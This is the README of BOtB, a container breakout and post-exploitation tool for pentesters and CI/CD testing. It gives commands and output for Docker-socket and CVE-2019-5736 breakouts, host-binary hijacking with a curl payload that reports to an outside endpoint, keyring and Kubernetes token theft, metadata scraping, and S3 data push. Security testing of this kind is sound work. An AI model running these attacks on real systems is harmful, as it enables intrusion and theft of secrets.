brompwnie/botb: A container analysis and exploitation tool for pentesters and engineers.

github.com/brompwnie/botb

brompwnie

brompwnie/**botb**

A container analysis and exploitation tool for pentesters and engineers.

4 Contributors | 2 Issues | 529 Stars | 53 Forks

DOWNLOADS 27K

Break out the Box (BOtB)

BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.

What does it do?

BOtB is a CLI tool which allows you to:

- Exploit common container vulnerabilities
- Perform common container post exploitation actions
- Provide capability when certain tools or binaries are not available in the Container
- Use BOtB's capabilities with CI/CD technologies to test container deployments
- Perform the above in either a manual or automated approach

Current Capabilities

- Perform a container breakout via exposed Docker daemons (docker.sock)
- Perform a container breakout via CVE-2019-5736
- Perform a privileged container breakout via enabled CAPS and SYSCALLS
- Extract data from Linux Kernel Keyrings via abusing the Keyctl syscall through permissive seccomp profiles
- Identify Kubernetes Service Accounts secrets and attempt to use them
- Identify metadata services endpoints i.e http://169.254.169.254, http://metadata.google.internal/ and http://100.100.100.200/
- Scrape metadata info from GCP metadata endpoints
- Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ
- Find and Identify UNIX Domain Sockets
- Identify UNIX domain sockets which support HTTP
- Find and identify the Docker Daemon on UNIX domain sockets or on an interface
- Hijack host binaries with a custom payload
- Perform actions in CI/CD mode and only return exit codes > 0
- Push data to an S3 bucket
- Force BOtB to always return a Exit Code of 0 (useful for non-blocking CI/CD)
- Perform the above from the CLI arguments or from a YAML config file
- Perform reverse DNS lookup

Installation

Binaries

For installation instructions from binaries please visit the Releases Page.

Via Go

```
go get github.com/brompwnie/botb
```

Building from source

Building BOtB via Go:

```
go build
```

Building BOtB via Make:

```
make
```

Usage

BOtB can be compiled into a binary for the targeted platform and supports the following usage

```
./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if
successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is
999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP
release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in
CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to
https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region
eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
```

```
  -wordlist string
        Provide a wordlist (default "nil")
```

BOtB can also be instructed to load settings from a YAML file via the config parameter

```
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...
```

The following usage examples will return a Exit Code > 0 by default when an anomaly is detected, this is depicted by "echo $?" which shows the exit code of the last executed command.

Identify and Extract Linux Kernel Keyring Secrets that have not been properly protected

More info from the original author here https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

```
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container
process may be killed, iterate over min and max with 100000000 increments
to be safe
[!] Subkey description for key [251133632]:
user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name":
"_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished
```

Identify and Verify mounted Kubernetes Service Account Secrets

```
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on ->
https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on ->
https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished
```

Break out from Container via Exposed Docker Daemon

This approach will breakout into an interactive TTY on the host.

```
#./bob_linux_amd64 -autopwn=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest
/bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ #
```

Break out of a Container but in a CI/CD Friendly way

This approach does not escape into a TTY on the host but instead returns an Exit Code > 0 to indicate a successful container breakout.

```
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1
```

Exploit CVE-2019-5736 with a Custom Payload

Please note that for this exploit to work, a process has to be executed in the target container in this scenario.

```
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?
command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS
WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl
"https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if
the Container is manually stopped
[+] Finished
```

Hijack Commands/Binaries on a Host with a Custom Payload

Please note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP.

```
#./bob_linux_amd64 -hijack='curl
"https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET
SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl
"https://bobendpoint.herokuapp.com/canary/bobby?
command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished
```

Find UNIX Domain Sockets

```
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1
```

Find a Docker Daemon

```
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1
```

Analyze ENV and ProcFS Environ for Sensitive Strings

By default BOtB will search for the two terms "secret" and "password".

```
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ ->
'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/

[!] Sensitive keyword found in: /proc/12/environ ->
'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/roo

[!] Sensitive keyword found in: /proc/self/environ ->
'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bo

[!] Sensitive keyword found in: /proc/thread-self/environ ->
'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bo

[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1
```

A wordlist can be supplied to BOtB to scan for particular keywords.

```
#cat wordlist.txt
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0
```

Scan for Metadata Endpoints

BOtB by default scans for two Metadata endpoints.

```
#  ./bob_linux_amd64 -metadata=true
[+] Break Out The Box
[*] Attempting to query metadata endpoint:
'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint:
'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0
```

BOtB can also be supplied with a list of endpoints to scan for.

```
#  cat endpoints.txt
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1
```

Scan for UNIX Domain Sockets that respond to HTTP

```
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished
```

Scrape data from GCP metadata instance

```
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....
```

Push data to an AWS S3 Bucket

```
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -
region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-
2.amazonaws.com/fileToPush.tar.gz
[+] Finished
```

Break out of a Privileged Container

```
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output
docker-desktop
```

Force BOtB to always succeed with a Exit Code of 0

This is useful for non-blocking CI/CD tests

```
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0
```

Using BOtB with a YAML config file

Example YAML file cfg.yml

```
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets
```

Run BOtB with the above YAML

```
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished
```

Using BOtB with CI\CD

BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail.

```
#!/bin/sh

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)
```

The above script is not the only way to use BOtB with CI\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be:

```
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true
```

Below is an example config that can be used with Heroku CI:

```
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}
```

Below is an example config with Heroku CI but using a wrapper shell script:

```
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}
```

Issues, Bugs and Improvements

For any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB.

References and Resources

This tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me.

Talks and Events

BOtB is scheduled to be presented at the following:

- BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019
- Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
- DefCon 27 Cloud Village (https://cloud-village.org/)
- Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
- DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

License